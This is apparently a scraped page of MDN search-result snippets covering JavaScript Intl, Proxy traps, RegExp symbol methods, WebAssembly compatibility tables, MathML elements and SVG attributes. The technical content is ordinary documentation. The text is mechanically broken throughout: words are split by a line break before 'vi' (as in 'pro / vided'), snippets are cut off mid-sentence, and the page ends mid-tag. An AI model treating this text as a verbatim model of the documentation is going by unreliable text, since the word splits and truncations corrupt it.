the intl.datetimeformat.prototype.formatrange() formats a date range in the most concise way based on the locale and options pro
vided when instantiating intl.datetimeformat object.
... syntax intl.datetimeformat.prototype.formatrange(startdate, enddate) examples basic formatrange usage this method receives two dates and formats the date range in the most concise way based on the locale and options pro
vided when instantiating intl.datetimeformat.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preser
ving the locale-specific parts.
...the formattoparts method enables locale-aware formatting of strings produced by datetimeformat formatters by pro
viding you the string in parts: formatter.formattoparts(date); // return value: [ { type: 'weekday', value: 'monday' }, { type: 'literal', value: ', ' }, { type: 'month', value: '12' }, { type: 'literal', value: '/' }, { type: 'day', value: '17' }, { type: 'literal', value: '/' }, { type: 'year', value: '2012' }, { type: 'literal', v...
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
timezone the value pro
vided for this property in the options argument; undefined (representing the runtime's default time zone) if none was pro
vided.
... hour12 the value pro
vided for this property in the options argument or filled in as a default.
Intl.DisplayNames.prototype.of() - JavaScript
the of() method receives a code and returns a string based on the locale and options pro
vided when instantiating intl.displaynames.
... syntax displaynames.of(code); parameters code the code to pro
vide depends on the type: if the type is "region", code should be either an iso-3166 two letters region code, or a three digits un m49 geographic regions.
Intl.ListFormat.prototype.format() - JavaScript
syntax listformat.format([list]); parameters list an iterable object, such as an array return value a language-specific formatted string representing the elements of the list description the format() method returns a string that has been formatted based on parameters pro
vided in the intl.listformat object.
... the locales and options parameters customize the beha
vior of format() and let applications specify the language conventions that should be used to format the list.
Intl.ListFormat.prototype.resolvedOptions() - JavaScript
style the value pro
vided for this property in the options argument of the constructor or the default value ("long").
... type the value pro
vided for this property in the options argument of the constructor or the default value ("conjunction").
Intl.Locale.prototype.caseFirst - JavaScript
examples setting the casefirst value
via the locale string in the unicode locale string spec, the values that casefirst represents correspond to the key kf.
... let casefirststr = new intl.locale("fr-latn-fr-u-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value
via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.Locale.prototype.hourCycle - JavaScript
adding an hour cycle
via the locale string in the unicode locale string spec, the hour cycle is a locale string "extension subtag".
... let fr24hour = new intl.locale("fr-fr-u-hc-h23"); console.log(fr24hour.hourcycle); // prints "h23" adding an hour cycle
via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types.
Intl.NumberFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preser
ving the locale-specific parts.
...the formattoparts method enables locale-aware formatting of strings produced by numberformat formatters by pro
viding you the string in parts: formatter.formattoparts(number); // return value: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" }, { type: "decimal", value: "," }, { type: "fraction", value: "00" }, { type: "literal", value: " " }, { type: "currency", value: "€" } ] now the information is available separately a...
Intl.PluralRules() constructor - JavaScript
possible values are from 0 to 20; the default for plain number and percent formatting is 0; the default for currency formatting is the number of minor unit digits pro
vided by the iso 4217 currency code list (2 if the list doesn't pro
vide that information).
...possible values are from 0 to 20; the default for plain number formatting is the larger of minimumfractiondigits and 3; the default for currency formatting is the larger of minimumfractiondigits and the number of minor unit digits pro
vided by the iso 4217 currency code list (2 if the list doesn't pro
vide that information); the default for percent formatting is the larger of minimumfractiondigits and 0.
Map - JavaScript
performance performs better in scenarios invol
ving frequent additions and removals of key-value pairs.
...if a thisarg parameter is pro
vided to foreach, it will be used as the this value for each callback.
Math.random() - JavaScript
math.random() does not pro
vide cryptographically secure random numbers.
... examples note that as numbers in javascript are ieee 754 floating point numbers with round-to-nearest-even beha
vior, the ranges claimed for the functions below (excluding the one for math.random() itself) aren't exact.
Math.random() - JavaScript
math.random() does not pro
vide cryptographically secure random numbers.
... examples note that as numbers in javascript are ieee 754 floating point numbers with round-to-nearest-even beha
vior, the ranges claimed for the functions below (excluding the one for math.random() itself) aren't exact.
Object.create() - JavaScript
note that such a different order may arise statically
via disparate fixed codings such as here, but also dynamically
via whatever the order any such property-adding code-branches actually get executed at runtime as depends on inputs and/or random-variables.
... be aware of, also, that using object.entries() on an object created
via object.create() will result in an empty array being returned.
Object.entries() - JavaScript
the object.entries() method returns an array of a given object's own enumerable string-keyed property [key, value] pairs, in the same order as that pro
vided by a for...in loop.
... polyfill to add compatible object.entries() support in older en
vironments that do not natively support it, you can use any of the following: a demonstration implementation of object.entries in the tc39/proposal-object-values-entries (if you don't need any support for ie); a polyfill in the es-shims/object.entries repositories; or, you can use the simple, ready-to-deploy polyfill listed below: if (!object.entries) { object.entries = function( obj ){ ...
Object.freeze() - JavaScript
> object.freeze(1) typeerror: 1 is not an object // es5 code > object.freeze(1) 1 // es2015 code an arraybuffer
view with elements will cause a typeerror, as they are
views over memory and will definitely cause other possible issues: > object.freeze(new uint8array(0)) // no elements uint8array [] > object.freeze(new uint8array(1)) // has elements typeerror: cannot freeze array buffer
views with elements > object.freeze(new data
view(new arraybuffer(32))) // no elements data
view {} > object.freeze(new float...
...64array(new arraybuffer(64), 63, 0)) // no elements float64array [] > object.freeze(new float64array(new arraybuffer(64), 32, 2)) // has elements typeerror: cannot freeze array buffer
views with elements note that; as the standard three properties (buf.bytelength, buf.byteoffset and buf.buffer) are read-only (as are those of an arraybuffer or sharedarraybuffer), there is no reason for attempting to freeze these properties.
Object.values() - JavaScript
the object.values() method returns an array of a given object's own enumerable property values, in the same order as that pro
vided by a for...in loop.
... polyfill to add compatible object.values support in older en
vironments that do not natively support it, you can find a polyfill in the tc39/proposal-object-values-entries or in the es-shims/object.values repositories.
Promise.all() - JavaScript
lues will be ignored, but the evaluation will be done asynchronously console.log(p); console.log(p2) settimeout(function() { console.log('the stack is now empty'); console.log(p2); }); // logs // promise { <state>: "fulfilled", <value>: array[0] } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: array[2] } promise.all fail-fast beha
viour promise.all is rejected if any of the elements are rejected.
...'), 3000); }); var p4 = new promise((resolve, reject) => { settimeout(() => resolve('four'), 4000); }); var p5 = new promise((resolve, reject) => { reject(new error('reject')); }); // using .catch: promise.all([p1, p2, p3, p4, p5]) .then(values => { console.log(values); }) .catch(error => { console.error(error.message) }); //from console: //"reject" it is possible to change this beha
viour by handling possible rejections: var p1 = new promise((resolve, reject) => { settimeout(() => resolve('p1_delayed_resolution'), 1000); }); var p2 = new promise((resolve, reject) => { reject(new error('p2_immediate_rejection')); }); promise.all([ p1.catch(error => { return error }), p2.catch(error => { return error }), ]).then(values => { console.log(values[0]) // "p1_delayed_resol...
Promise.prototype.finally() - JavaScript
this pro
vides a way for code to be run whether the promise was fulfilled successfully or rejected once the promise has been dealt with.
...this use case is for precisely when you do not care about the rejection reason, or the fulfillment value, and so there's no need to pro
vide it.
handler.construct() - JavaScript
interceptions this trap can intercept these operations: new proxy(...args) reflect.construct() invariants if the following invariants are
violated, the proxy will throw a typeerror: the result must be an object.
... const p = new proxy(function() {}, { construct: function(target, argumentslist, newtarget) { console.log('called: ' + argumentslist.join(', ')); return { value: argumentslist[0] * 10 }; } }); console.log(new p(1).value); // "called: 1" // 10 the following code
violates the invariant.
handler.get() - JavaScript
interceptions this trap can intercept these operations: property access: proxy[foo]and proxy.bar inherited property access: object.create(proxy)[foo] reflect.get() invariants if the following invariants are
violated, the proxy will throw a typeerror: the value reported for a property must be the same as the value of the corresponding target object property if the target object property is a non-writable, non-configurable own data property.
... const p = new proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; } }); console.log(p.a); // "called: a" // 10 the following code
violates an invariant.
handler.getOwnPropertyDescriptor() - JavaScript
interceptions this trap can intercept these operations: object.getownpropertydescriptor() reflect.getownpropertydescriptor() invariants if the following invariants are
violated, the proxy will throw a typeerror: getownpropertydescriptor() must return an object or undefined.
... const p = new proxy({ a: 20}, { getownpropertydescriptor: function(target, prop) { console.log('called: ' + prop); return { configurable: true, enumerable: true, value: 10 }; } }); console.log(object.getownpropertydescriptor(p, 'a').value); // "called: a" // 10 the following code
violates an invariant.
handler.has() - JavaScript
interceptions this trap can intercept these operations: property query: foo in proxy inherited property query: foo in object.create(proxy) with check: with(proxy) { (foo); } reflect.has() invariants if the following invariants are
violated, the proxy will throw a typeerror: a property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.
... const p = new proxy({}, { has: function(target, prop) { console.log('called: ' + prop); return true; } }); console.log('a' in p); // "called: a" // true the following code
violates an invariant.
handler.isExtensible() - JavaScript
interceptions this trap can intercept these operations: object.isextensible() reflect.isextensible() invariants if the following invariants are
violated, the proxy will throw a typeerror: object.isextensible(proxy) must return the same value as object.isextensible(target).
... const p = new proxy({}, { isextensible: function(target) { console.log('called'); return true; } }); console.log(object.isextensible(p)); // "called" // true the following code
violates the invariant.
handler.ownKeys() - JavaScript
interceptions this trap can intercept these operations: object.getownpropertynames() object.getownpropertysymbols() object.keys() reflect.ownkeys() invariants if the following invariants are
violated, the proxy will throw a typeerror: the result of ownkeys() must be an array.
... const p = new proxy({}, { ownkeys: function(target) { console.log('called'); return ['a', 'b', 'c']; } }); console.log(object.getownpropertynames(p)); // "called" // [ 'a', 'b', 'c' ] the following code
violates an invariant.
handler.preventExtensions() - JavaScript
interceptions this trap can intercept these operations: object.preventextensions() reflect.preventextensions() invariants if the following invariants are
violated, the proxy will throw a typeerror: object.preventextensions(proxy) only returns true if object.isextensible(proxy) is false.
... const p = new proxy({}, { preventextensions: function(target) { console.log('called'); object.preventextensions(target); return true; } }); console.log(object.preventextensions(p)); // "called" // false the following code
violates the invariant.
handler.set() - JavaScript
but a set() handler can also be called indirectly,
via the prototype chain or various other ways.
... interceptions this trap can intercept these operations: property assignment: proxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are
violated, the proxy will throw a typeerror: cannot change the value of a property to be different from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.
Comparing Reflect and Object methods - JavaScript
the reflect object, introduced in es2015, is a built-in object that pro
vides methods to interface with javascript objects.
...although some of the methods appear to be similar in their beha
vior, there are often subtle differences between them.
Reflect.apply() - JavaScript
thisargument the value of this pro
vided for the call to target.
... description in es5, you typically use the function.prototype.apply() method to call a function with a given this value and arguments pro
vided as an array (or an array-like object).
RegExp.prototype[@@match]() - JavaScript
'abc'.match(/a/); /a/[symbol.match]('abc'); this method exists for customizing match beha
vior within regexp subclasses.
... let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.match](str); console.log(result); // ["2016", "01", "02"] using @@match in subclasses subclasses of regexp can override the [@@match]() method to modify the default beha
vior.
RegExp.prototype[@@matchAll]() - JavaScript
'abc'.matchall(/a/); /a/[symbol.matchall]('abc'); this method exists for customizing the beha
vior of matchall() in regexp subclasses.
... let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.matchall](str); console.log(array.from(result, x => x[0])); // ["2016", "01", "02"] using @@matchall in subclasses subclasses of regexp can override the [@@matchall]() method to modify the default beha
vior.
RegExp.prototype[@@replace]() - JavaScript
'abc'.replace(/a/, 'a'); /a/[symbol.replace]('abc', 'a'); this method exists for customizing replace beha
vior in regexp subclass.
... var re = /-/g; var str = '2016-01-01'; var newstr = re[symbol.replace](str, '.'); console.log(newstr); // 2016.01.01 using @@replace in subclasses subclasses of regexp can override the [@@replace]() method to modify the default beha
vior.
RegExp.prototype[@@search]() - JavaScript
'abc'.search(/a/); /a/[symbol.search]('abc'); this method exists for customizing the search beha
vior in regexp subclasses.
... var re = /-/g; var str = '2016-01-02'; var result = re[symbol.search](str); console.log(result); // 4 using @@search in subclasses subclass of regexp can override [@@search]() method to modify the beha
vior.
RegExp.prototype[@@split]() - JavaScript
'a-b-c'.split(/-/); /-/[symbol.split]('a-b-c'); this method exists for customizing the beha
vior of split() in regexp subclass.
... let re = /-/g; let str = '2016-01-02'; let result = re[symbol.split](str); console.log(result); // ["2016", "01", "02"] using @@split in subclasses subclasses of regexp can override the [@@split]() method to modify the default beha
vior.
RegExp.$1-$9 - JavaScript
description the $1, ..., $9 properties are static, they are not a property of an indi
vidual regular expression object.
...regexp.$1 : '0'; number; // "24" please note that any operation invol
ving the usage of other regular expressions between a re.test(str) call and the regexp.$n property, might have side effects, so that accessing these special properties should be done instantly, otherwise the result might be unexpected.
RegExp.prototype.sticky - JavaScript
sticky is a read-only property of an indi
vidual regular expression object.
... examples of correct beha
vior: var regex = /^foo/y; regex.lastindex = 2; regex.test('..foo'); // false - index 2 is not the beginning of the string var regex2 = /^foo/my; regex2.lastindex = 2; regex2.test('..foo'); // false - index 2 is not the beginning of the string or line regex2.lastindex = 2; regex2.test('.\nfoo'); // true - index 2 is the beginning of a line specifications specification ecmas...
RegExp.prototype.test() - JavaScript
(this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() called multiple times on the same global regular expression instance will advance past the pre
vious match.
... the following example demonstrates this beha
viour: const regex = /foo/g; // the "global" flag is set // regex.lastindex is at 0 regex.test('foo') // true // regex.lastindex is now at 3 regex.test('foo') // false // regex.lastindex is at 0 regex.test('barfoo') // true // regex.lastindex is at 6 regex.test('foobar') //false // regex.lastindex is at 0 // (...and so on) specifications specification ecmascr...
String.prototype.charCodeAt() - JavaScript
because of this, in order to examine (or reproduce) the full character for indi
vidual character values of 65536 or greater, for such characters, it is necessary to retrieve not only charcodeat(i), but also charcodeat(i+1) (as if manipulating a string with two letters), or to use codepointat(i) instead.
... if (isnan(low)) { throw 'high surrogate not followed by ' + 'low surrogate in fixedcharcodeat()'; } return ( (hi - 0xd800) * 0x400) + (low - 0xdc00) + 0x10000; } if (0xdc00 <= code && code <= 0xdfff) { // low surrogate // we return false to allow loops to skip // this iteration since should have already handled // high surrogate above in the pre
vious iteration return false; // hi = str.charcodeat(idx - 1); // low = code; // return ((hi - 0xd800) * 0x400) + // (low - 0xdc00) + 0x10000; } return code; } fixing charcodeat() to handle non-basic-multilingual-plane characters if their presence earlier in the string is known function knowncharcodeat(str, idx) { str += ''; var code, end = str.length; var s...
String.prototype.indexOf() - JavaScript
if no string is explicitly pro
vided, searchvalue will be coerced to "undefined", and this value will be searched for in str.
... const str = 'brave new world' console.log('index of first w from start is ' + str.indexof('w')) // logs 8 console.log('index of "new" from start is ' + str.indexof('new')) // logs 6 indexof() and case-sensiti
vity the following example defines two string variables.
String.prototype.replace() - JavaScript
$n where n is a positive integer less than 100, inserts the nth parenthesized submatch string, pro
vided the first argument was a regexp object.
... the nth string found by a parenthesized capture group (including named capturing groups), pro
vided the first argument to replace() was a regexp object.
String.prototype.replaceAll() - JavaScript
$n where n is a positive integer less than 100, inserts the nth parenthesized submatch string, pro
vided the first argument was a regexp object.
... the nth string found by a parenthesized capture group, pro
vided the first argument to replace() was a regexp object.
Symbol.hasInstance - JavaScript
the instanceof operator's beha
vior can be customized by this symbol.
... property attributes of symbol.hasinstance writable no enumerable no configurable no examples custom instanceof beha
vior you could implement your custom instanceof beha
vior like this, for example: class myarray { static [symbol.hasinstance](instance) { return array.isarray(instance) } } console.log([] instanceof myarray); // true function myarray() { } object.defineproperty(myarray, symbol.hasinstance, { value: function(instance) { return array.isarray(instance); } }); console.log([] instanceof myar...
Symbol.iterator - JavaScript
some built-in types have a default iteration beha
vior, while other types (such as object) do not.
...using it as such is likely to result in runtime exceptions or buggy beha
vior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
Symbol - JavaScript
a symbol value may be used as an identifier for object properties; this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or ser
ving as an implementation-supported unique identifier in general.
... symbol.unscopables an object value of whose own and inherited property names are excluded from the with en
vironment bindings of the associated object.
TypedArray.prototype.indexOf() - JavaScript
if the pro
vided index value is a negative number, it is taken as the offset from the end of the typed array.
... note: if the pro
vided index is negative, the typed array is still searched from front to back.
WebAssembly.CompileError() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes dis...
...abled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android ful...
WebAssembly.Global() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsglobal() constructorchrome full support 69edge no support nofirefox full support 62ie no support noopera no supp...
...ort nosafari no support noweb
view android full support 69chrome android full support 69firefox android full support 62opera android no support nosafari ios no support nosamsung internet android full support 10.0nodejs no support nolegend full support full support no support ...
WebAssembly.Instance() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstance() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disable...
...d in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full su...
WebAssembly.LinkError() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabl...
...ed in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full s...
WebAssembly.Module() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodule() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled ...
...in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full supp...
WebAssembly.Module.imports() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefo...
...x 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.RuntimeError() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes dis...
...abled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android ful...
WebAssembly.Table.prototype.length - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslengthchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox...
... 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.compile() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefo...
...x 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
WebAssembly.validate() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsvalidatechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firef...
...ox 52 extended support release (esr).ie no support noopera full support 44safari full support 11web
view android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support ...
encodeURIComponent() - JavaScript
return value a new string representing the pro
vided string encoded as a uri component.
... rfc 3986 (which reserves !, ', (, ), and *), even though these characters have no formalized uri delimiting uses, the following can be safely used: function fixedencodeuricomponent(str) { return encodeuricomponent(str).replace(/[!'()*]/g, function(c) { return '%' + c.charcodeat(0).tostring(16); }); } examples encoding for content-disposition and link headers the following example pro
vides the special encoding required within utf-8 content-disposition and link server response header parameters (e.g., utf-8 filenames): var filename = 'my file(2).txt'; var header = "content-disposition: attachment; filename*=utf-8''" + encoderfc5987valuechars(filename); console.log(header); // logs "content-disposition: attachment; filename*=utf-8''my%20file%282%29.txt" function e...
escape() - JavaScript
warning: although escape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and beha
viours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
... … … programmers should not use or assume the existence of these features and beha
viours when writing new ecmascript code.
unescape() - JavaScript
warning: although unescape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and beha
viours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
... … … programmers should not use or assume the existence of these features and beha
viours when writing new ecmascript code.
Comma operator (,) - JavaScript
this is commonly used to pro
vide multiple parameters to a for loop.
...this is due to operator precedence and associati
vity.
Logical AND (&&) - JavaScript
// f && t returns false a4 = false && (3 == 4) // f && f returns false a5 = 'cat' && 'dog' // t && t returns "dog" a6 = false && 'cat' // f && t returns false a7 = 'cat' && false // t && f returns false a8 = '' && false // f && f returns "" a9 = false && '' // f && f returns false conversion rules for booleans converting and to or the following operation invol
ving booleans: bcondition1 && bcondition2 is always equal to: !(!bcondition1 || !bcondition2) converting or to and the following operation invol
ving booleans: bcondition1 || bcondition2 is always equal to: !(!bcondition1 && !bcondition2) remo
ving nested parentheses as logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression foll...
... the following composite operation invol
ving booleans: bcondition1 || (bcondition2 && bcondition3) is always equal to: bcondition1 || bcondition2 && bcondition3 specifications specification ecmascript (ecma-262)the definition of 'logical and expression' in that specification.
Logical NOT (!) - JavaScript
the logical not (!) operator (logical complement, negation) takes truth to falsity and
vice versa.
...n4 = !!false // !!falsy returns false n5 = !!"" // !!falsy returns false n6 = !!boolean(false) // !!falsy returns false converting between nots the following operation invol
ving booleans: !!bcondition is always equal to: bcondition specifications specification ecmascript (ecma-262)the definition of 'logical not expression' in that specification.
Right shift (>>) - JavaScript
since the new leftmost bit has the same value as the pre
vious leftmost bit, the sign bit (the leftmost bit) does not change.
...since the new leftmost bit has the same value as the pre
vious leftmost bit, the sign bit (the leftmost bit) does not change.
new operator - JavaScript
(normally constructors don't return a value, but they can choose to do so if they want to override the normal object creation process.) you can always add a property to a pre
viously defined object.
... you can add a shared property to a pre
viously defined object type by using the function.prototype property.
typeof - JavaScript
(reference) a fix was proposed for ecmascript (
via an opt-in), but was rejected.
...the case of document.all ha
ving type 'undefined' is classified in the web standards as a "willful
violation" of the original ecma javascript standard.
block - JavaScript
labelidentifier an optional label for
visual identification or as a target for break.
...the opposite beha
vior is possible using an empty statement, where you pro
vide no statement, although one is required.
if...else - JavaScript
in general, it is a good practice to always use block statements, especially in code invol
ving nested if statements: if (condition) { statements1 } else { statements2 } do not confuse the primitive boolean values true and false with truthiness or falsiness of the boolean object.
...however, you can write it with a space between else and if: if (x > 50) { /* do something */ } else if (x > 5) { /* do something */ } else { /* do something */ } assignment within the conditional expression it is ad
visable to not use simple assignments in a conditional expression, because the assignment can be confused with equality when glancing over the code.
import - JavaScript
certain bundlers may permit or require the use of the extension; check your en
vironment.
...the export parameters specify indi
vidual named exports, while the import * as name syntax imports all of them.
let - JavaScript
break; } however, it's important to point out that a block nested inside a case clause will create a new block scoped lexical en
vironment, which will not produce the redeclaration errors shown above.
... in the same line, the if block's foo has already been created in the lexical en
vironment, but has not yet reached (and terminated) its initialization (which is part of the statement itself).
with - JavaScript
consider this example: function f(foo, values) { with (foo) { console.log(values); } } if you call f([1,2,3], obj) in an ecmascript 5 en
vironment, then the values reference inside the with statement will resolve to obj.
...so, in a javascript en
vironment that supports ecmascript 2015, the values reference inside the with statement could resolve to [1,2,3].values.
Statements and declarations - JavaScript
empty an empty statement is used to pro
vide no statement, although the javascript syntax would expect one.
... label pro
vides a statement with an identifier that you can refer to using a break or continue statement.
start_url - Web app manifests
type string mandatory no the start_url member is a string that represents the start url of the web application — the prefered url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon from a de
vice's application menu or homescreen).
... note: the start_url member is purely ad
visory, and a user agent may ignore it or allow the user to alter it at install time or afterwards.
<maction> - MathML
the mathml <maction> element pro
vides a possibility to bind actions to (sub-) expressions.
... class, id, style pro
vided for use with stylesheets.
<menclose> - MathML
attributes class, id, style pro
vided for use with stylesheets.
...possible values are: value sample rendering rendering in your browser description longdiv (default) a2 + b2 long di
vision symbol actuarial a2 + b2 actuarial symbol radical a2 + b2 square root symbol.
<merror> - MathML
attributes class, id, style pro
vided for use with stylesheets.
... examples <math> <merror> <mrow> <mtext> di
vision by zero: </mtext> <mfrac> <mn> 1 </mn> <mn> 0 </mn> </mfrac> </mrow> </merror> </math> specifications specification status comment mathml 3.0the definition of 'merror' in that specification.
<mn> - MathML
attributes class, id, style pro
vided for use with stylesheets.
...aktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mn> 0 </mn> <mn> 1.337 </mn> <mn> twelve </mn> <mn> x
vi </mn> <mn> 2e10 </mn> </math> specifications specification status comment mathml 3.0the definition of 'mn' in that specification.
<mphantom> - MathML
the mathml <mphantom> element is rendered in
visibly, but dimensions (such as height, width, and baseline position) are still kept.
... attributes class, id, style pro
vided for use with stylesheets.
<semantics> - MathML
the mathml elements <semantics>, <annotation> and <annotation-xml> are used to combine presentation and content markup and to pro
vide both, layout information and semantic meaning of mathematical expressions.
... the rules of determining the
visible child in a <semantics> element are the following: if no rule other rule applies: by default only the first child is rendered, which is supposed to be presentation markup.
MathML element reference - MathML
the term presentation markup is used to describe the layout structure of mathematical notation whereas content markup pro
vides the underlying mathematical meaning and is not supposed to be rendered by the mathml parser (see bug 276028).
... <maction> (binded actions to sub-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <mfrac> (fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long di
vision notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (in
visible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single c...
Using dns-prefetch - Web Performance
combining the two pro
vides an opportunity to further reduce the perceived latency of cross-origin requests.
...you just won’t receive the benefits it pro
vides.
PWA developer guide - Progressive web apps (PWAs)
<<<--- web app basics introduction and getting started with pwa development some description installing and uninstalling web apps an introductory guide to how a web app can be installed on the user's de
vice...
... using ser
vice workers to run offline description alerting the user using notifications description creating a web app from an existing site description advanced topics pushing data from the server to your web application some description resource management description integration with the host de
vice description security and privacy description gaming topics for web app developers description polishing web apps web api equivalents for common native apis some description platform-specific tips and issues description web application performance guide description ensuring a good user experience description related topics some topic some description ...
by - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
... when a list of values is defined
via the values attribute, the by attribute is ignored.
color-profile - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-profile deprecatedchrome ?
... web
view android ?
cursor - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcursorchrome ?
... web
view android ?
cx - SVG: Scalable Vector Graphics
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg
